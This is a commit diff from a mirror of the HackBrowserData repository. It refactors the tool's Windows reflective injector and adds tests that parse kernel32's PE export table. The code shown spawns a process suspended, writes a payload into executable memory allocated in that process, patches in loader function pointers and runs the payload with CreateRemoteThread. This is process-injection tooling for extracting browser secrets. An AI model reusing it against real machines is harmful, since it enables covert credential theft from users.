mirror of
https://github.com/moonD4rk/HackBrowserData.git
synced 2026-05-19 18:58:03 +02:00
refactor(windows): split Windows code into winapi (#575)
This commit is contained in:
@@ -0,0 +1,106 @@
|
||||
//go:build windows
|
||||
|
||||
package injector
|
||||
|
||||
import (
|
||||
"os"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// kernel32Path is always present on a Windows host and its export table
|
||||
// is stable across versions — an ideal fixture for PE-parsing tests.
|
||||
const kernel32Path = `C:\Windows\System32\kernel32.dll`
|
||||
|
||||
func readKernel32(t *testing.T) []byte {
|
||||
t.Helper()
|
||||
data, err := os.ReadFile(kernel32Path)
|
||||
if err != nil {
|
||||
t.Fatalf("read %s: %v", kernel32Path, err)
|
||||
}
|
||||
if len(data) == 0 {
|
||||
t.Fatalf("%s is empty", kernel32Path)
|
||||
}
|
||||
return data
|
||||
}
|
||||
|
||||
func TestDetectPEArch_Kernel32IsAMD64(t *testing.T) {
|
||||
arch, err := DetectPEArch(readKernel32(t))
|
||||
if err != nil {
|
||||
t.Fatalf("DetectPEArch: %v", err)
|
||||
}
|
||||
if arch != ArchAMD64 {
|
||||
t.Errorf("expected %q, got %q", ArchAMD64, arch)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectPEArch_Garbage(t *testing.T) {
|
||||
_, err := DetectPEArch([]byte("definitely not a PE file"))
|
||||
if err == nil {
|
||||
t.Error("expected parse error for non-PE input")
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectPEArch_EmptyInput(t *testing.T) {
|
||||
_, err := DetectPEArch(nil)
|
||||
if err == nil {
|
||||
t.Error("expected parse error for empty input")
|
||||
}
|
||||
}
|
||||
|
||||
// TestFindExportFileOffset_KnownExports walks a handful of kernel32 exports
|
||||
// that Bootstrap also relies on via pre-resolved import patching. Passing
|
||||
// here means both the export-table walker and the RVA→file-offset converter
|
||||
// work against a real Windows PE — not just against fixtures we control.
|
||||
func TestFindExportFileOffset_KnownExports(t *testing.T) {
|
||||
data := readKernel32(t)
|
||||
|
||||
// All of these have been stable kernel32 exports since Windows XP.
|
||||
exports := []string{
|
||||
"LoadLibraryA",
|
||||
"GetProcAddress",
|
||||
"VirtualAlloc",
|
||||
"VirtualProtect",
|
||||
"CreateFileW",
|
||||
}
|
||||
|
||||
for _, name := range exports {
|
||||
off, err := FindExportFileOffset(data, name)
|
||||
if err != nil {
|
||||
t.Errorf("%s: unexpected error: %v", name, err)
|
||||
continue
|
||||
}
|
||||
if off == 0 {
|
||||
t.Errorf("%s: got zero file offset", name)
|
||||
}
|
||||
if int(off) >= len(data) {
|
||||
t.Errorf("%s: offset %d exceeds file size %d", name, off, len(data))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestFindExportFileOffset_MissingExport(t *testing.T) {
|
||||
data := readKernel32(t)
|
||||
_, err := FindExportFileOffset(data, "HbdNoSuchExport_abcdef1234")
|
||||
if err == nil {
|
||||
t.Error("expected error for nonexistent export name")
|
||||
}
|
||||
}
|
||||
|
||||
func TestFindExportFileOffset_GarbageInput(t *testing.T) {
|
||||
_, err := FindExportFileOffset([]byte("not a PE file at all"), "LoadLibraryA")
|
||||
if err == nil {
|
||||
t.Error("expected error when parsing non-PE input")
|
||||
}
|
||||
}
|
||||
|
||||
func TestFindExportFileOffset_TruncatedPE(t *testing.T) {
|
||||
data := readKernel32(t)
|
||||
// Chop to just the DOS stub — export directory is unreachable.
|
||||
if len(data) < 128 {
|
||||
t.Fatalf("kernel32 is implausibly small: %d bytes", len(data))
|
||||
}
|
||||
_, err := FindExportFileOffset(data[:128], "LoadLibraryA")
|
||||
if err == nil {
|
||||
t.Error("expected error when PE is truncated past the DOS header")
|
||||
}
|
||||
}
|
||||
@@ -12,6 +12,7 @@ import (
|
||||
"golang.org/x/sys/windows"
|
||||
|
||||
"github.com/moond4rk/hackbrowserdata/crypto/windows/abe_native/bootstrap"
|
||||
"github.com/moond4rk/hackbrowserdata/utils/winapi"
|
||||
)
|
||||
|
||||
type Reflective struct {
|
||||
@@ -149,11 +150,10 @@ func spawnSuspended(exePath string) (*windows.ProcessInformation, error) {
|
||||
}
|
||||
|
||||
func writeRemotePayload(proc windows.Handle, payload []byte) (uintptr, error) {
|
||||
remoteBase, err := callBoolErr(procVirtualAllocEx,
|
||||
uintptr(proc), 0,
|
||||
remoteBase, err := winapi.VirtualAllocEx(proc,
|
||||
uintptr(len(payload)),
|
||||
uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE),
|
||||
uintptr(windows.PAGE_EXECUTE_READWRITE),
|
||||
uint32(windows.MEM_COMMIT|windows.MEM_RESERVE),
|
||||
uint32(windows.PAGE_EXECUTE_READWRITE),
|
||||
)
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("injector: %w", err)
|
||||
@@ -171,15 +171,13 @@ func writeRemotePayload(proc windows.Handle, payload []byte) (uintptr, error) {
|
||||
|
||||
func runAndWait(proc windows.Handle, remoteBase uintptr, loaderRVA uint32, wait time.Duration) error {
|
||||
entry := remoteBase + uintptr(loaderRVA)
|
||||
hThread, err := callBoolErr(procCreateRemoteThread,
|
||||
uintptr(proc), 0, 0, entry, 0, 0, 0,
|
||||
)
|
||||
hThread, err := winapi.CreateRemoteThread(proc, entry, 0)
|
||||
if err != nil {
|
||||
return fmt.Errorf("injector: %w", err)
|
||||
}
|
||||
defer windows.CloseHandle(windows.Handle(hThread))
|
||||
defer windows.CloseHandle(hThread)
|
||||
|
||||
state, err := windows.WaitForSingleObject(windows.Handle(hThread), uint32(wait/time.Millisecond))
|
||||
state, err := windows.WaitForSingleObject(hThread, uint32(wait/time.Millisecond))
|
||||
if err != nil {
|
||||
return fmt.Errorf("injector: WaitForSingleObject: %w", err)
|
||||
}
|
||||
@@ -243,11 +241,11 @@ func patchPreresolvedImports(payload []byte) ([]byte, error) {
|
||||
return nil, fmt.Errorf("injector: payload too small for pre-resolved import patch")
|
||||
}
|
||||
|
||||
pLoadLibraryA := procLoadLibraryA.Addr()
|
||||
pGetProcAddress := procGetProcAddress.Addr()
|
||||
pVirtualAlloc := procVirtualAlloc.Addr()
|
||||
pVirtualProtect := procVirtualProtect.Addr()
|
||||
pNtFlushIC := procNtFlushIC.Addr()
|
||||
pLoadLibraryA := winapi.AddrLoadLibraryA()
|
||||
pGetProcAddress := winapi.AddrGetProcAddress()
|
||||
pVirtualAlloc := winapi.AddrVirtualAlloc()
|
||||
pVirtualProtect := winapi.AddrVirtualProtect()
|
||||
pNtFlushIC := winapi.AddrNtFlushInstructionCache()
|
||||
|
||||
if pLoadLibraryA == 0 || pGetProcAddress == 0 || pVirtualAlloc == 0 ||
|
||||
pVirtualProtect == 0 || pNtFlushIC == 0 {
|
||||
|
||||
@@ -1,5 +0,0 @@
|
||||
package injector
|
||||
|
||||
type Strategy interface {
|
||||
Inject(exePath string, payload []byte, env map[string]string) ([]byte, error)
|
||||
}
|
||||
@@ -1,52 +0,0 @@
|
||||
//go:build windows
|
||||
|
||||
package injector
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"syscall"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// Package-level lazy DLL/Proc handles. Consolidating them here avoids the
|
||||
// NewLazySystemDLL("kernel32.dll") boilerplate spread across every helper in
|
||||
// reflective_windows.go, and gives us a single place to extend when a new
|
||||
// Win32 API is needed. Matches the pattern used in filemanager/copy_windows.go.
|
||||
var (
|
||||
kernel32 = windows.NewLazySystemDLL("kernel32.dll")
|
||||
ntdll = windows.NewLazySystemDLL("ntdll.dll")
|
||||
|
||||
// Call-style procs: Win32 APIs that `golang.org/x/sys/windows` does NOT
|
||||
// provide typed wrappers for. We invoke them via LazyProc.Call.
|
||||
procVirtualAllocEx = kernel32.NewProc("VirtualAllocEx")
|
||||
procCreateRemoteThread = kernel32.NewProc("CreateRemoteThread")
|
||||
|
||||
// Address-style procs: consumed only via .Addr() by patchPreresolvedImports
|
||||
// to patch raw function pointers into the payload's DOS stub. We never Call
|
||||
// these from our own process.
|
||||
procLoadLibraryA = kernel32.NewProc("LoadLibraryA")
|
||||
procGetProcAddress = kernel32.NewProc("GetProcAddress")
|
||||
procVirtualAlloc = kernel32.NewProc("VirtualAlloc")
|
||||
procVirtualProtect = kernel32.NewProc("VirtualProtect")
|
||||
procNtFlushIC = ntdll.NewProc("NtFlushInstructionCache")
|
||||
)
|
||||
|
||||
// callBoolErr wraps the common "r1 == 0 means failure" Win32 convention.
|
||||
// Win32 GetLastError often returns ERROR_SUCCESS (errno 0) even on failure,
|
||||
// so we distinguish the "no-errno" case explicitly to avoid emitting misleading
|
||||
// "operation completed successfully" messages. We use errors.As rather than a
|
||||
// type assertion so the check stays correct if x/sys/windows ever wraps the
|
||||
// underlying errno.
|
||||
func callBoolErr(p *windows.LazyProc, args ...uintptr) (uintptr, error) {
|
||||
r, _, callErr := p.Call(args...)
|
||||
if r == 0 {
|
||||
var errno syscall.Errno
|
||||
if errors.As(callErr, &errno) && errno == 0 {
|
||||
return 0, fmt.Errorf("%s: failed (no errno)", p.Name)
|
||||
}
|
||||
return 0, fmt.Errorf("%s: %w", p.Name, callErr)
|
||||
}
|
||||
return r, nil
|
||||
}
|
||||
Reference in New Issue
Block a user